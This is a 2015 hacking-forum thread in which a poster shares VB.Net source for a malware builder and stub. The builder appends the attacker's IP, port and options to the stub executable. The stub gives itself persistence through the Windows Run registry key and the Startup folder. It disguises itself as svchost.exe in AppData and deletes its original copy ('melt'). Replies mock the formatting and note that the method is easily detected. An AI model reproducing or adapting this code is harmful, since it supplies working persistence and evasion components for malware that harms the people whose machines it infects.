

Forum:[Hack Forums](#)

Thread: [VB.Net Builder \[Startup, Regedit, Melt\]](#)

ImStw - March 25, 2015, 10:37 am

Code:

Builder

Builder : prntscr.com/6l6j8w

Items: "2 TextBoxes", "3 CheckBoxes", "1 Button"

ipe.Text, portt.Text, cbStart.Checked, reg.Checked, melting.Checked, btnBuild.Click

Code 'Builder Code

Imports System.IO

Imports System.Net.Mail

Public Class Form1

Dim IP, Port, Startup, Regedit, Melt As String

Const spl = "asdf"

Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click

Dim s As New SaveFileDialog

s.Title = "Save Server"

s.Filter = "*.exe | *.exe"

Dim stub As String

Dim all As String = ""

Const Filesplit = "FormStub"

Dim temp As String = IO.Path.GetTempPath() & "stub.exe"

s.ShowDialog()

If s.FileName > "" Then

IP = ip.Text

Port = port.Text

Startup = cbStart.Checked

Regedit = reg.Checked

Melt = melting.Checked

File.WriteAllBytes(temp, My.Resources.stub)

FileOpen(1, temp, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

stub = Space(LOF(1))

FileGet(1, stub)

FileClose(1)

FileOpen(1, s.FileName & ".exe", OpenMode.Binary, OpenAccess.ReadWrite,

OpenShare.Default)

FilePut(1, stub & spl & IP & spl & Port & spl & Startup & spl & Regedit & spl & Melt & spl)

FileClose(1)

MsgBox("Done!", MsgBoxStyle.OkOnly)

End If

End Sub

End Class

Stub : prntscr.com/6l6jef

Items: "2 TextBoxes", "3 CheckBoxes", "1 Timer"

IP.Text, Port.Text, cbStart.Checked, reg.Checked, melting.Checked, "StartupTimer = 7000 Interval,

Enabled = False"

Code 'Stub Code

Public Class Form1

Const spl = "asdf"

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read)

Dim stub As String = Space(LOF(1))

FileGet(1, stub)

FileClose(1)

'Options() with the () is important the () means it can be an array which we need Split(stub, Filesplit) is what connects them also

Dim Options() As String = Split(stub, spl)

IP.Text = Options(1)

Port.Text = Options(2)

cbStart.Checked = Options(3)

reg.Checked = Options(4)

melting.Checked = Options(5)

'Add to windows startup

If cbStart.Checked = True Then

Timer3.Enabled = True

End If

'Add to regedit

If reg.Checked = True Then

Try

Dim regKey As Microsoft.Win32.RegistryKey =

Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)

regKey.SetValue(StartupKey, Application.ExecutablePath,

Microsoft.Win32.RegistryValueKind.String) : regKey.Close()

Catch : End Try

End If

If melting.Checked = True Then

If Application.ExecutablePath =

Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe" Then

If File.Exists(Path.GetTempPath & "melt.txt") Then

Try : IO.File.Delete(IO.File.ReadAllText(Path.GetTempPath & "melt.txt")) : Catch : End Try

End If

Else

If File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe") Then

Try : IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe") : Catch : End Try

IO.File.Copy(Application.ExecutablePath,

Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe")

IO.File.WriteAllText(Path.GetTempPath & "melt.txt", Application.ExecutablePath)

Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe")

```

End
Else
IO.File.Copy(Application.ExecutablePath,
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) &
"\\Microsoft\\svchost.exe")
IO.File.WriteAllText(Path.GetTempPath & "melt.txt", Application.ExecutablePath)
Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) &
"\\Microsoft\\svchost.exe")
End
End If
End If
End If
End Sub
Code Private Sub StartUp_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
'Windows 7 startup User
Try
Dim file1 As String = Application.ExecutablePath
Dim copy1 As String = "C:\\Users\\" + Environment.UserName.ToString +
"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\svchost.exe"
If File.Exists(copy1) Then
Else
System.IO.File.Copy(file1, copy1)
End If
Catch ex As Exception
End Try

'Windows XP startup User
Try
Dim file1 As String = Application.ExecutablePath
Dim copy1 As String = "C:\\Documents and Settings\\" + Environment.UserName.ToString +
"\\Start Menu\\Programs\\Startup\\svchost.exe"
If File.Exists(copy1) Then
Else
System.IO.File.Copy(file1, copy1)
End If
Catch ex As Exception
End Try
End Sub
End Class

```

0Boy - March 25, 2015, 10:39 am

edit the thread, and put the code under the code tags.

N3w8i3H4ck3r - March 25, 2015, 10:59 am

This post gave me temporary blindness.

PLZ FOR THE LOVE OF GOD USE CODE TAGS!

Ninja - March 25, 2015, 11:36 am

Use the code tags. But besides that, nice tutorial. Instead of dumping code here you provided actual help.

Odus - March 25, 2015, 11:40 am

(Mar 25, 2015 11:36 AM)Tyranitar Wrote: [CITE](#) But besides that, nice tutorial.

The code has far more flaws than merits and it really isn't worth taking the time to write a novel's worth report on them.

OP get rid of the adfly link, those belong only in the referrals section.

Ninja - March 25, 2015, 11:50 am

(Mar 25, 2015 11:40 AM)Odus Wrote: [\[CITE\]](#) The code has far more flaws than merits and it really isn't worth taking the time to write a novel's worth report on them.

OP get rid of the adfly link, those belong only in the referrals section.

I didn't read the actual code, because it is all the same shit, but at least it is not a regular code dump, that is what I was trying to say.

nathan72389 - March 25, 2015, 2:10 pm

this code is direct from 2010.

but if you want to use EOF for writing settings:

Spoiler [\(Click to View\)](#)

[img]<http://content.screencast.com/users/n72389/folders/Snagit/media/a4871a46-b11a-45c2-bc65-04a02ffc598/11.10.2012-16.32.40.png>[/img]

SIM-2071734 - March 25, 2015, 11:36 pm

(Mar 25, 2015 10:59 AM)N3w8i3H4ck3r Wrote: [\[CITE\]](#) This post gave me temporary blindness.

PLZ FOR THE LOVE OF GOD USE CODE TAGS!

:(sorry bro i'm not leet so I can't +1 but you deserve it. Also this uses EOF as a storage method...
DETECTED AS FUCK.

TazzyOpz - March 26, 2015, 10:18 am

I feel as if this was Copy and pasted? None the less I can't prove it lol However there are a lot of source codes like that out there... Nice share I suppose. ?